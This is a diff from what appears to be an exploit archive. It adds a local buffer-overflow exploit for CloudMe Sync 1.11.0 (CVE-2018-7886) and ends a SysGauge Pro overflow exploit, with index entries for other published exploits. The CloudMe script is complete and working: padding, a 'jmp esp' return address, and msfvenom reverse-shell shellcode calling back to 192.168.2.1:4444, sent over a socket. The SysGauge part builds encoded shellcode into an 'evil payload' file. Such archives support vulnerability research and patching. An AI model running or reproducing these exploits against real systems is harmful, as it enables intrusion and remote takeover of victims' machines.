buffer += "\x05\x01\x32\x35\x66" ### add eax,0x66353201
|
||||
buffer += "\x05\x15\x32\x35\x66" ### add eax,0x66353215
|
||||
buffer += "\x05\x15\x22\x12\x33" ### add eax,0x33122215
|
||||
buffer += "\x50" ### push eax
|
||||
##############################################################
|
||||
|
||||
# third push "\x5d\xbb\x50\x01"
|
||||
##############################################################
|
||||
# zero out eax
|
||||
buffer += "\x25\x10\x10\x10\x10" ### and eax, 0x10101010
|
||||
buffer += "\x25\x01\x01\x01\x01" ### and eax, 0x01010101
|
||||
|
||||
# move "\x5d\xbb\x50\x01" into eax and push it to the stack
|
||||
buffer += "\x05\x01\x30\x65\x36" ### add eax,0x36653001
|
||||
buffer += "\x05\x01\x20\x56\x27" ### add eax,0x27562001
|
||||
buffer += "\x48" ### dec eax
|
||||
buffer += "\x50" ### push eax
|
||||
##############################################################
|
||||
|
||||
# fourth push "\x6a\xc4\x8b\x63"
|
||||
##############################################################
|
||||
# zero out eax
|
||||
buffer += "\x25\x10\x10\x10\x10" ### and eax, 0x10101010
|
||||
buffer += "\x25\x01\x01\x01\x01" ### and eax, 0x01010101
|
||||
|
||||
# move "\x6a\xc4\x8b\x63" into eax and push it to the stack
|
||||
buffer += "\x05\x32\x46\x70\x35" ### add eax,0x35544632
|
||||
buffer += "\x05\x31\x43\x70\x35" ### add eax,0x35704531
|
||||
buffer += "\x50" ### push eax
|
||||
##############################################################
|
||||
|
||||
# fifth push "\x6c\x61\x63\x68"
|
||||
##############################################################
|
||||
# zero out eax
|
||||
buffer += "\x25\x10\x10\x10\x10" ### and eax, 0x10101010
|
||||
buffer += "\x25\x01\x01\x01\x01" ### and eax, 0x01010101
|
||||
|
||||
# move "\x6c\x61\x63\x68" into eax and push it to the stack
|
||||
buffer += "\x05\x34\x32\x31\x36" ### add eax,0x36313234
|
||||
buffer += "\x05\x34\x31\x30\x36" ### add eax,0x36303134
|
||||
buffer += "\x50" ### push eax
|
||||
##############################################################
|
||||
|
||||
# sixth push "\x65\x78\x65\x2e"
|
||||
##############################################################
|
||||
# zero out eax
|
||||
buffer += "\x25\x10\x10\x10\x10" ### and eax, 0x10101010
|
||||
buffer += "\x25\x01\x01\x01\x01" ### and eax, 0x01010101
|
||||
|
||||
# move "\x65\x78\x65\x2e" into eax and push it to the stack
|
||||
buffer += "\x05\x17\x33\x34\x33" ### add eax,0x33343317
|
||||
buffer += "\x05\x17\x32\x44\x32" ### add eax,0x32443217
|
||||
buffer += "\x50" ### push eax
|
||||
##############################################################
|
||||
|
||||
# seventh push "\x68\x50\xc0\x33"
|
||||
##############################################################
|
||||
# zero out eax
|
||||
buffer += "\x25\x10\x10\x10\x10" ### and eax, 0x10101010
|
||||
buffer += "\x25\x01\x01\x01\x01" ### and eax, 0x01010101
|
||||
|
||||
# move "\x68\x50\xc0\x33" into eax and push it to the stack
|
||||
buffer += "\x05\x22\x60\x30\x34" ### add eax,0x34306022
|
||||
buffer += "\x05\x11\x60\x20\x34" ### add eax,0x34206011
|
||||
buffer += "\x50" ### push eax
|
||||
##############################################################
|
||||
|
||||
# push 20 nops to the stack for padding
|
||||
##############################################################
|
||||
# zero out eax
|
||||
buffer += "\x25\x10\x10\x10\x10" ### and eax, 0x10101010
|
||||
buffer += "\x25\x01\x01\x01\x01" ### and eax, 0x01010101
|
||||
|
||||
# move "\x90\x90\x90\x90" into eax and push it to the stack
|
||||
buffer += "\x05\x70\x70\x70\x70" ### add eax,0x70707070
|
||||
buffer += "\x05\x20\x20\x20\x20" ### add eax,0x20202020
|
||||
buffer += "\x50" ### push eax
|
||||
buffer += "\x50" ### push eax
|
||||
buffer += "\x50" ### push eax
|
||||
buffer += "\x50" ### push eax
|
||||
buffer += "\x50" ### push eax
|
||||
##############################################################
|
||||
|
||||
# push "jmp esp" address [encoded] to the stack
|
||||
# 0x6709e053 : "\xff\xe4" | [QtCore4.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, (C:\Program Files\SysGauge Pro\bin\QtCore4.dll)
|
||||
# 0: 25 10 10 10 10 and eax,0x10101010
|
||||
# 5: 25 01 01 01 01 and eax,0x1010101
|
||||
# a: 05 31 70 03 34 add eax,0x34037031
|
||||
# f: 05 22 70 06 33 add eax,0x33067022
|
||||
# 14: 50 push eax
|
||||
|
||||
buffer += "\x25\x10\x10\x10\x10\x25\x01\x01\x01\x01\x05\x31\x70\x03\x34\x05\x22\x70\x06\x33\x50"
|
||||
|
||||
# the program converts "\xff" to "c3" [retn instruction] thus popping previously pushed to the stack address "jmp esp" to eip ;)
|
||||
buffer += "\xff"
|
||||
buffer += "C" * (50000-780-4-4-28-21-21-26-22-21-21-21-21-25-1) ### junk
|
||||
try:
|
||||
f=open("payload.txt","w")
|
||||
print "[+] Creating %s bytes evil payload.." %len(buffer)
|
||||
f.write(buffer)
|
||||
f.close()
|
||||
print "[+] File created!"
|
||||
except:
|
||||
print "File cannot be created"
|
||||
58
exploits/windows/local/44470.py
Executable file
58
exploits/windows/local/44470.py
Executable file
|
|
@ -0,0 +1,58 @@
|
|||
#######################################################
|
||||
# Exploit Title: Local Buffer Overflow on CloudMe Sync v1.11.0
|
||||
# Date: 08.03.2018
|
||||
# Vendor Homepage: https://www.cloudme.com/en
|
||||
# Software Link: https://www.cloudme.com/downloads/CloudMe_1110.exe
|
||||
# Category: Local
|
||||
# Exploit Discovery: Prasenjit Kanti Paul
|
||||
# Web: http://hack2rule.wordpress.com/
|
||||
# Version: 1.11.0
|
||||
# Tested on: Windows 7 SP1 x86
|
||||
# CVE: CVE-2018-7886
|
||||
# Solution: Update CloudMe Sync to 1.11.2
|
||||
#######################################################
|
||||
|
||||
#Disclosure Date: March 12, 2018
|
||||
#Response Date: March 14, 2018
|
||||
#Bug Fixed: April 12, 2018
|
||||
|
||||
# Run this file in victim's win 7 sp1 x86 system where CloudMe Sync 1.11.0 has been installed.
|
||||
|
||||
import socket
|
||||
|
||||
target="127.0.0.1"
|
||||
|
||||
junk="A"*1052
|
||||
|
||||
eip="\x7B\x8A\xA9\x68" #68a98a7b : JMP ESP - Qt5Core.dll
|
||||
|
||||
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.2.1 LPORT=4444 -f c
|
||||
|
||||
shellcode=("\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
|
||||
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
|
||||
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
|
||||
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
|
||||
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
|
||||
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
|
||||
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
|
||||
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
|
||||
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
|
||||
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
|
||||
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
|
||||
"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
|
||||
"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x02\x01\x68"
|
||||
"\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
|
||||
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
|
||||
"\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
|
||||
"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44"
|
||||
"\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56"
|
||||
"\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff"
|
||||
"\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
|
||||
"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
|
||||
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5")
|
||||
|
||||
payload=junk+eip+shellcode
|
||||
|
||||
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((target,8888))
|
||||
s.send(payload)
|
||||
|
|
@ -5926,6 +5926,18 @@ id,file,description,date,author,type,platform,port
|
|||
44427,exploits/multiple/dos/44427.txt,"WebKit - WebAssembly Parsing Does not Correctly Check Section Order",2018-04-09,"Google Security Research",dos,multiple,
|
||||
44428,exploits/linux/dos/44428.txt,"CyberArk Password Vault < 9.7 / < 10 - Memory Disclosure",2018-04-09,"RedTeam Pentesting",dos,linux,
|
||||
44442,exploits/multiple/dos/44442.js,"Google Chrome V8 JIT - 'LoadElimination::ReduceTransitionElementsKind' Type Confusion",2018-04-10,"Google Security Research",dos,multiple,
|
||||
44456,exploits/hardware/dos/44456.py,"Barco ClickShare CSE-200 - Remote Denial of Service",2018-04-16,"Florian Hauser",dos,hardware,7100
|
||||
44458,exploits/windows/dos/44458.cpp,"Microsoft Windows - 'nt!NtQueryFullAttributesFile' Kernel Stack Memory Disclosure",2018-04-16,"Google Security Research",dos,windows,
|
||||
44459,exploits/windows/dos/44459.cpp,"Microsoft Windows - 'nt!NtQueryAttributesFile' Kernel Stack Memory Disclosure",2018-04-16,"Google Security Research",dos,windows,
|
||||
44460,exploits/windows/dos/44460.cpp,"Microsoft Windows - 'nt!NtQueryVolumeInformationFile' Kernel Stack Memory Disclosure",2018-04-16,"Google Security Research",dos,windows,
|
||||
44461,exploits/windows/dos/44461.cpp,"Microsoft Windows - 'nt!NtQuerySystemInformation (SystemPageFileInformation(Ex))' Kernel 64-bit Stack Memory Disclosure",2018-04-16,"Google Security Research",dos,windows,
|
||||
44462,exploits/windows/dos/44462.cpp,"Microsoft Windows - 'nt!NtQueryInformationTransactionManager (TransactionManagerRecoveryInformation)' Kernel Pool Memory Disclosure",2018-04-16,"Google Security Research",dos,windows,
|
||||
44463,exploits/windows/dos/44463.cpp,"Microsoft Windows - 'nt!NtQueryInformationProcess (ProcessImageFileName)' Kernel 64-bit Pool/Stack Memory Disclosure",2018-04-16,"Google Security Research",dos,windows,
|
||||
44464,exploits/windows/dos/44464.cpp,"Microsoft Windows - 'nt!NtQueryVirtualMemory (Memory(Privileged)BasicInformation)' Kernel 64-bit Stack Memory Disclosure",2018-04-16,"Google Security Research",dos,windows,
|
||||
44465,exploits/windows/dos/44465.cpp,"Microsoft Windows - 'nt!NtQueryVirtualMemory (MemoryImageInformation)' Kernel 64-bit Stack Memory Disclosure",2018-04-16,"Google Security Research",dos,windows,
|
||||
44466,exploits/windows/dos/44466.txt,"Microsoft Windows - 'CiSetFileCache' TOCTOU Incomplete Fix",2018-04-16,"Google Security Research",dos,windows,
|
||||
44467,exploits/windows/dos/44467.txt,"Microsoft Edge - 'OpenProcess()' ACG Bypass",2018-04-16,"Google Security Research",dos,windows,
|
||||
44468,exploits/windows/dos/44468.py,"Zortam MP3 Media Studio 23.45 - Local Buffer Overflow (SEH)",2018-04-16,"Kevin McGuigan",dos,windows,
|
||||
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
||||
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
||||
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
||||
|
|
@ -9643,6 +9655,8 @@ id,file,description,date,author,type,platform,port
|
|||
44426,exploits/linux/local/44426.py,"PMS 0.42 - Local Stack-Based Overflow (ROP)",2018-04-09,"Juan Sacco",local,linux,
|
||||
44438,exploits/windows_x86/local/44438.txt,"DVD X Player Standard 5.5.3.9 - Buffer Overflow",2018-04-10,"Prasenjit Kanti Paul",local,windows_x86,
|
||||
44452,exploits/linux/local/44452.py,"GNU Beep 1.3 - 'HoleyBeep' Local Privilege Escalation",2018-04-06,Pirhack,local,linux,
|
||||
44455,exploits/windows/local/44455.py,"SysGauge Pro 4.6.12 - Local Buffer Overflow (SEH)",2018-04-16,"Hashim Jawad",local,windows,
|
||||
44470,exploits/windows/local/44470.py,"CloudMe Sync 1.11.0 - Local Buffer Overflow",2018-04-16,"Prasenjit Kanti Paul",local,windows,
|
||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||
|
|
@ -39148,3 +39162,5 @@ id,file,description,date,author,type,platform,port
|
|||
44448,exploits/php/webapps/44448.py,"Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC)",2018-04-13,"Vitalii Rudnykh",webapps,php,
|
||||
44450,exploits/linux/webapps/44450.txt,"MikroTik 6.41.4 - FTP daemon Denial of Service PoC",2018-04-13,FarazPajohan,webapps,linux,
|
||||
44449,exploits/php/webapps/44449.rb,"Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution",2018-04-13,"Hans Topo",webapps,php,
|
||||
44454,exploits/php/webapps/44454.txt,"Cobub Razor 0.8.0 - SQL injection",2018-04-16,Kyhvedn,webapps,php,80
|
||||
44469,exploits/jsp/webapps/44469.txt,"Sophos Cyberoam UTM CR25iNG - 10.6.3 MR-5 - Direct Object Reference",2018-04-16,Frogy,webapps,jsp,
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue